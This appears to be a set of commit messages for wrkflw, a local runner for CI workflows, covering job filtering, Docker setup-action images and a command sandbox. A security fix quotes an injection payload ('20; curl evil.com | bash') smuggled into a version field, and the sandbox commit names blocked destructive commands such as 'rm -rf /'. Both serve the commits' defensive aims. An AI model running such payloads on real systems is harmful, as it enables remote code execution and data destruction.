* docs: gut the documentation bloat and remove dead files
The documentation had grown into the kind of sprawling mess where
the same feature gets explained three times in three different
files, none of which agree with each other. The main README alone
was 610 lines of duplicated sections, speculative roadmaps, and
verbose limitation disclaimers that nobody reads.
Remove 12 files that had no business existing: junk test files
(hello.cpp, hello.rs, test.py), duplicate agent configs, a 487-line
Podman testing manual, unused asciinema recordings, and 7MB of
unreferenced GIF files. Merge the useful bits from GITLAB_USAGE.md
into the main README where they belong.
Rewrite the main README from 610 lines down to ~170. Every feature
is mentioned once, in one place, with one example. The crate README
now actually lists all 14 crates instead of pretending secrets
doesn't exist.
Net result: 3,819 lines deleted, 197 added. The documentation now
fits in your head, which is the whole point.
* docs: update crate READMEs for latest features and trim secrets
The crate READMEs were quietly falling behind the actual code. The
executor README didn't mention --job, environment file read-back,
or job-level container directives. The UI README didn't mention job
selection mode or the tui feature flag. The evaluator README didn't
mention composite action input cross-checking.
Meanwhile, the secrets README was 387 lines of documentation for a
crate whose siblings average 25. It had full provider configuration
examples, rate limiting docs, input validation specs, and
benchmarking instructions — all of which belong in rustdoc, not a
README that's supposed to give you a quick overview.
Trim secrets to ~80 lines. Update executor, ui, evaluator, and
wrkflw READMEs to reflect features from PRs #77-#83.
* feat(cli): add --job flag to run a specific job and --jobs to list them
Until now, wrkflw only operated at the workflow level. You could
run an entire workflow or list workflow files, but if you wanted to
debug a single failing job you had to sit through every other job
first. This is not great.
Add `--job <name>` to `wrkflw run` so you can execute exactly one
job in isolation, skipping dependency resolution entirely. Add
`--jobs` to `wrkflw list` so you can actually *see* what jobs are
available before running them. Both work for GitHub workflows and
GitLab pipelines.
The filtering happens after dependency resolution — we just replace
the execution plan with a single-job batch. If the job name doesn't
exist, we tell you what's available instead of silently doing
nothing. The TUI still runs full workflows; job selection there is
a separate concern.
Closes#68
* fix(executor): include transitive deps when running a single job
The --job flag was replacing the entire execution plan with just the
target job, silently dropping all its dependencies. So if you ran
--job deploy and deploy needs build which needs setup, you'd get
deploy running alone with none of its prerequisites. Confusion ensues.
Extract the duplicated inline filtering (copy-pasted verbatim across
both the GitHub and GitLab execution paths) into a shared
filter_plan_to_job() helper in dependency.rs. The new logic walks
the needs graph via BFS to collect transitive deps, then prunes the
existing topologically-sorted plan to only include relevant jobs
while preserving batch ordering.
Add 9 unit tests covering the dependency collection and plan
filtering — linear chains, diamond graphs, partial subgraph
isolation, error paths, and empty batch removal.
* fix(executor): use stage-aware filtering for GitLab --job flag
It turns out that filter_plan_to_job walks `needs` edges to find
transitive dependencies, which works fine for GitHub workflows. But
GitLab pipelines use *stage ordering* for implicit dependencies, and
convert_to_workflow_format sets `needs: None` on every converted
job. So running `--job deploy` on a GitLab pipeline would silently
drop all build and test jobs. Not great.
Add filter_plan_to_job_by_stage that understands the GitLab model:
keep all jobs in earlier stage batches (they're implicit deps) and
filter only the target's own batch down to just the target job.
The GitHub workflow path continues using the needs-based filter.
While at it, extract the job-not-found error into a shared helper
and add proper test coverage: 6 unit tests for the stage-aware
filter plus 3 integration tests exercising the full execute_workflow
path with target_job set.
* fix(docker): persist setup action images across job steps
Reported in #60. When a workflow uses actions like setup-node or
setup-php, the Docker image resolved for that action (e.g.
node:20-slim, composer:latest) was only used for the action step
itself. Every subsequent `run:` step would blissfully fall back to
ubuntu:latest, which of course has neither node nor composer.
Confusion ensues.
It turns out that `execute_job()` computes `runner_image_value`
exactly *once* via `get_effective_runner_image()` and never updates
it. The action step gets its own image from `prepare_action()`, but
that image is completely ignored for subsequent `run:` steps. So
your setup-node configures... nothing, as far as run steps care.
Fix this by pre-scanning all job steps for known setup actions
before the step loop begins. Single setup action? Use its image.
Multiple setup actions (e.g. Laravel's PHP + Node.js combo)? Build
a combined Dockerfile that installs all required runtimes on the
ubuntu base. No setup actions? Nothing changes — fully backward
compatible.
While at it, skip the pointless pull attempt for locally-built
wrkflw-* images (they only exist locally, the 404 from Docker Hub
was just noise), and bump the build_image timeout from 2 minutes
to 10 — because installing PHP from a PPA inside a Docker build
is not a speed demon.
Closes#60
* fix(docker): harden setup action runtime detection against injection and waste
The setup action detection code was interpolating user-controlled
version strings straight into Dockerfile RUN directives with zero
validation. So a workflow with node-version: "20; curl evil.com |
bash" would happily inject arbitrary commands into the build. This
is not great.
It also used starts_with() for action name matching, which would
match actions/setup-node-legacy or anything else that happened to
share the prefix. And every single build generated a UUID-tagged
image that was never cleaned up, so you'd accumulate orphaned
wrkflw-combined:* images until your disk had opinions about it.
While at it, the 2-minute to 10-minute timeout bump was applied to
*all* image builds, not just the combined runtime ones that actually
need it. And the Go install script hardcoded linux-amd64, which is
the kind of thing that works right up until someone runs on ARM.
Let's fix all of it:
- Validate version strings against [a-zA-Z0-9._-] before use
- Use exact equality for action repo matching, not prefix matching
- Use deterministic content-based image tags so identical runtime
combinations reuse cached images
- Deduplicate same-language setup steps (last one wins)
- Scope the 10-minute timeout to wrkflw-combined:* builds only
- Detect container architecture for Go installs
- Add tests for all of the above
* fix(docker): fix three correctness bugs in setup action image resolution
The previous commit introduced setup action detection, but it had
a few problems that would bite people in practice.
First, the single-runtime path was returning bare images like
node:20-slim or python:3.12-slim directly. These images don't have
git installed, which means actions/checkout — typically the *first*
step in any workflow — would just fail. Not great.
Fix: always build a combined image on top of the runner base
(catthehacker/ubuntu:act-latest) even for single-runtime jobs, so
git and friends remain available. The SetupRuntime.image field is
now dead code, so remove it entirely.
Second, the Python install script was cheerfully ignoring the
requested version and installing whatever python3 the distro ships.
Ask for 3.12, get 3.10. Surprise. Fix: use the deadsnakes PPA to
install the specific version requested.
Third, PodmanRuntime had no skip-pull guard for locally-built
wrkflw-* images, so podman would attempt to pull wrkflw-combined:*
from a registry. Add --pull=never for wrkflw-* prefixed images.
* refactor(docker): unify setup action registry and fix remaining review issues
The previous commits introduced setup action detection, but left a
few things in a state that would annoy anyone who looked closely.
First, determine_action_image() was still using starts_with() for
action matching — the exact same bug that detect_setup_runtimes had
already fixed. So "actions/setup-node-legacy" would happily match
as a Node.js setup action. Not great.
Second, dtolnay/rust-toolchain conventionally encodes the toolchain
in the @ref (e.g., @nightly, @1.75.0), not in a with.toolchain key.
The old code would silently default to "stable" for anyone using the
idiomatic form. Surprise.
Third, the repetitive if/else chain in detect_setup_runtimes (seven
near-identical blocks) and the parallel match in determine_action_image
were two independent copies of the same knowledge, with no compile-time
guarantee they'd stay in sync. Adding a new setup action meant editing
two places and hoping you remembered both.
Fix all of it:
- Introduce a single SETUP_ACTIONS const table that both functions
consume, eliminating the drift risk entirely
- Add version_from_ref support so dtolnay/rust-toolchain@nightly
actually produces "nightly" instead of "stable"
- Extract generate_combined_dockerfile() and combined_image_tag() as
pure testable functions
- Merge all install scripts into a single RUN layer instead of N
separate apt-get update calls
- Include a content hash in image tags so install script changes
invalidate cached images even when language/version pairs are the
same
- Add 15 tests covering all the above
* fix(docker): add image caching, stable hashing, and shared constants
The combined runtime image code had three problems that were all
independently annoying but together made for a lovely trifecta of
"why is this slow and also fragile."
First, build_combined_runtime_image was *always* rebuilding the
Docker image, even when a perfectly good one already existed
locally. That means every single job run was creating temp dirs,
writing Dockerfiles, tarring contexts, and shipping them to the
daemon. For absolutely no reason.
Second, the image tag hash used DefaultHasher, which Rust's own
docs explicitly say is not stable across versions. So upgrading
your Rust toolchain silently invalidates every cached image. Not
great when caching is the whole point.
Third, the "wrkflw-" and "wrkflw-combined:" prefixes were
hardcoded as magic strings in three separate files. Change one,
forget the others, and you get to debug why podman is trying to
pull a locally-built image from Docker Hub.
The fix: add image_exists() to ContainerRuntime so we can skip
redundant builds, replace DefaultHasher with FNV-1a for stable
cross-version hashing, and extract the prefixes into shared
constants. While at it, merge the duplicate apt-get update calls
in the generated Dockerfile into a single RUN layer.
* fix(docker): fix version_from_ref with SHA pins and normalize .x suffixes
The version_from_ref logic for dtolnay/rust-toolchain was happily
treating a pinned git SHA (the 40-char hex kind) as a toolchain
name. So `dtolnay/rust-toolchain@d4ff7a3c5...` would try to
install Rust toolchain "d4ff7a3c5...", which rustup finds *deeply*
confusing. Filter out bare SHAs with the existing is_git_sha()
check and fall back to the default version instead.
While at it, the ".x" suffix that's idiomatic for Node versions
(e.g., "16.x") was leaking through to install scripts for every
language. Python would try to apt-get install python16.x, which
is not a real package and never will be. Normalize the suffix away
at extraction time rather than making each install script deal
with it independently.
Add tests for both cases.
- Mount GitHub environment files directory containing GITHUB_ENV, GITHUB_OUTPUT, GITHUB_PATH, and GITHUB_STEP_SUMMARY
- Resolves Docker container exit code -1 when writing to $GITHUB_ENV
- Update volume mapping in both step execution contexts in engine.rs
- Tested on macOS with Docker Desktop
Closes: Issue where echo "VAR=value" >> "$GITHUB_ENV" fails in Docker runtime
Security Features:
- Implement secure emulation runtime with command sandboxing
- Add command validation, filtering, and dangerous pattern detection
- Block harmful commands like 'rm -rf /', 'sudo', 'dd', etc.
- Add resource limits (CPU, memory, execution time, process count)
- Implement filesystem isolation and access controls
- Add environment variable sanitization
- Support shell operators (&&, ||, |, ;) with proper parsing
New Runtime Mode:
- Add 'secure-emulation' runtime option to CLI
- Update UI to support new runtime mode with green security indicator
- Mark legacy 'emulation' mode as unsafe in help text
- Default to secure mode for local development safety
Documentation:
- Create comprehensive security documentation (README_SECURITY.md)
- Update main README with security mode information
- Add example workflows demonstrating safe vs dangerous commands
- Include migration guide and best practices
Testing:
- Add comprehensive test suite for sandbox functionality
- Include security demo workflows for testing
- Test dangerous command blocking and safe command execution
- Verify resource limits and timeout functionality
Code Quality:
- Fix all clippy warnings with proper struct initialization
- Add proper error handling and user-friendly security messages
- Implement comprehensive logging for security events
- Follow Rust best practices throughout
This addresses security concerns by preventing accidental harmful
commands while maintaining full compatibility with legitimate CI/CD
workflows. Users can now safely run untrusted workflows locally
without risk to their host system.
- Add custom deserializer for runs-on field to handle both string and array formats
- Update Job struct to use Vec<String> instead of String for runs-on field
- Modify executor to extract first element from runs-on array for runner selection
- Add test workflow to verify both string and array formats work correctly
- Maintain backwards compatibility with existing string-based workflows
Fixes issue where workflows with runs-on: [self-hosted, ubuntu, small] format
would fail with 'invalid type: sequence, expected a string' error.
This change aligns with GitHub Actions specification which supports:
- String format: runs-on: ubuntu-latest
- Array format: runs-on: [self-hosted, ubuntu, small]
- Move test workflows to tests/workflows/
- Move GitLab CI fixtures to tests/fixtures/gitlab-ci/
- Move test scripts to tests/scripts/
- Move Podman testing docs to tests/
- Update paths in test scripts and documentation
- Delete MANUAL_TEST_CHECKLIST.md as requested
- Update tests/README.md to reflect new organization